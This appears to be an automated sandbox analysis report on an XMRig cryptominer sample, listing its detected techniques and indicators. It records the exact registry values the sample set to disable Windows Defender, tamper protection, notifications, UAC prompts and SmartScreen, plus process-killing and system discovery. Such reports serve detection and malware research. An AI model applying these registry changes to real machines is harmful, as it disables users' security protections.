xmrig | 03913c72d9f3704b1c20f6fd7f927ba878248133485640980d82c005aaa9f591

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 28 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIntrusionPreventionSystem = "0"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScriptScanning = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableInformationProtectionControl = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe

Modifies Windows Defender notification settings 3 TTPs 16 IoCs

defense_evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	reg.exe

Modifies security service 2 TTPs 4 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\DisableAntiSpyware = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\DisableAntiSpyware = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe

XMRig Miner payload 3 IoCs

miner

resource	yara_rule
behavioral2/memory/2080-24-0x0000000000400000-0x000000000146B000-memory.dmp	xmrig
behavioral2/files/0x000d00000001c540-286.dat	family_xmrig
behavioral2/files/0x000d00000001c540-286.dat	xmrig

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/3136-31-0x0000000000400000-0x000000000041C000-memory.dmp	Nirsoft
behavioral2/memory/5408-53-0x0000000000400000-0x000000000041C000-memory.dmp	Nirsoft
behavioral2/memory/5548-83-0x0000000000400000-0x000000000041C000-memory.dmp	Nirsoft

NirSoft NirCmd 3 IoCs

NirCmd is a lightweight Windows command-line tool for automating system tasks

resource	yara_rule
behavioral2/memory/3136-31-0x0000000000400000-0x000000000041C000-memory.dmp	NirCmd
behavioral2/memory/5408-53-0x0000000000400000-0x000000000041C000-memory.dmp	NirCmd
behavioral2/memory/5548-83-0x0000000000400000-0x000000000041C000-memory.dmp	NirCmd

UPX dump on OEP (original entry point) 6 IoCs

resource	yara_rule
behavioral2/memory/2080-24-0x0000000000400000-0x000000000146B000-memory.dmp	UPX
behavioral2/files/0x000d00000001c53f-27.dat	UPX
behavioral2/memory/3136-29-0x0000000000400000-0x000000000041C000-memory.dmp	UPX
behavioral2/memory/3136-31-0x0000000000400000-0x000000000041C000-memory.dmp	UPX
behavioral2/memory/5408-53-0x0000000000400000-0x000000000041C000-memory.dmp	UPX
behavioral2/memory/5548-83-0x0000000000400000-0x000000000041C000-memory.dmp	UPX

Command and Scripting Interpreter: PowerShell 1 TTPs 28 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4796	powershell.exe
2132	powershell.exe
2496	powershell.exe
2932	powershell.exe
2084	powershell.exe
5488	powershell.exe
4092	powershell.exe
5432	powershell.exe
3468	powershell.exe
5512	powershell.exe
2244	powershell.exe
4536	powershell.exe
2980	powershell.exe
2412	powershell.exe
5984	powershell.exe
2556	powershell.exe
1448	powershell.exe
5940	powershell.exe
752	powershell.exe
3224	powershell.exe
4852	powershell.exe
2604	powershell.exe
3676	powershell.exe
5812	powershell.exe
552	powershell.exe
4284	PowerShell.exe
5984	powershell.exe
5684	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
5812	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smartscreen.exe\Debugger = "C:\\Windows\\System32\\taskkill.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smartscreen.exe	reg.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
4408	takeown.exe
2648	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
3136	screen.exe
5704	screen.exe
5408	screen.exe
5548	screen.exe

Modifies file permissions 1 TTPs 2 IoCs

File and Directory Permissions Modification

T1222

pid	Process
4408	takeown.exe
2648	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Modifies Security services 2 TTPs 16 IoCs

Modifies the startup behavior of a security service.

Modify Registry

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	reg.exe

Discovers running processes 1 TTPs 2 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

persistence privilege_escalation

Process Discovery

T1057

pid	Process
5804	tasklist.exe
5256	tasklist.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\cmd.txt	cmd.exe
File created	C:\Windows\SysWOW64\User.ini	cmd.exe
File opened for modification	C:\Windows\SysWOW64\User.ini	cmd.exe
File created	C:\Windows\SysWOW64\cmd.txt	cmd.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c53f-27.dat	upx
behavioral2/memory/3136-29-0x0000000000400000-0x000000000041C000-memory.dmp	upx
behavioral2/memory/3136-31-0x0000000000400000-0x000000000041C000-memory.dmp	upx
behavioral2/memory/5408-53-0x0000000000400000-0x000000000041C000-memory.dmp	upx
behavioral2/memory/5548-83-0x0000000000400000-0x000000000041C000-memory.dmp	upx

Launches sc.exe 7 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1916	sc.exe
2956	sc.exe
4376	sc.exe
3156	sc.exe
1388	sc.exe
5636	sc.exe
5044	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3252	cmd.exe
1632	cmd.exe
616	cmd.exe
1712	cmd.exe
1252	cmd.exe
240	cmd.exe
5508	cmd.exe
6088	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 26 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	screen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
4984	PING.EXE
5432	PING.EXE
4484	PING.EXE
1388	PING.EXE

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Record Type	reg.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Patch Source	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Record Version	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Current Record Version	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	reg.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Firmware Record Version	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Patch Configuration Used	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	reg.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CPU Family Model Stepping	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CPU Meta Data	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Preferred Record Version	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Environment	reg.exe

Delays execution with timeout.exe 4 IoCs

pid	Process
3448	timeout.exe
4124	timeout.exe
3032	timeout.exe
5456	timeout.exe

Kills process with WMI 8 IoCs

pid	Process
1780	WMIC.exe
3264	WMIC.exe
1284	WMIC.exe
4732	WMIC.exe
3092	WMIC.exe
2968	WMIC.exe
2536	WMIC.exe
2796	WMIC.exe

Kills process with taskkill 8 IoCs

pid	Process
4632	taskkill.exe
3000	taskkill.exe
200	taskkill.exe
3776	taskkill.exe
2348	taskkill.exe
2456	taskkill.exe
2100	taskkill.exe
400	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000_Classes\Local Settings	powershell.exe

Runs net.exe

